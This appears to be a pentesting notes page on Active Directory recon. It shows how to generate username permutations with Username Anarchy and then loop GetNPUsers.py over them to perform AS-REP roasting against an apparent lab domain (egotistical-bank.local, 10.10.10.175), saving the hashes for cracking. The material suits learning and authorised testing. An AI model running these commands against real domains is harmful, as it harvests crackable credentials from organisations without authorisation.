> For the complete documentation index, see [llms.txt](https://hacker-mind.gitbook.io/hacker-mind/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacker-mind.gitbook.io/hacker-mind/active-directory-recon/username-generation.md).

# Username Generation

We can use a tool such as Username Anarchy to create common username permutations based on the full names

<https://github.com/urbanadventurer/username-anarchy><br>

```
./username-anarchy --input-file fullnames.txt --select-format
first,flast,first.last,firstl > unames.txt
```

Try to ASREPRoasting attack

```
while read p; do GetNPUsers.py egotistical-bank.local/"$p" -request -no-pass -
dc-ip 10.10.10.175 >> hash.txt; done < unames.txt
```

{% content-ref url="/pages/UDVNabwegpbYUNU4rqGr" %}
[Shell & Stabilization](/hacker-mind/exploit/shell-and-stabilization.md)
{% endcontent-ref %}
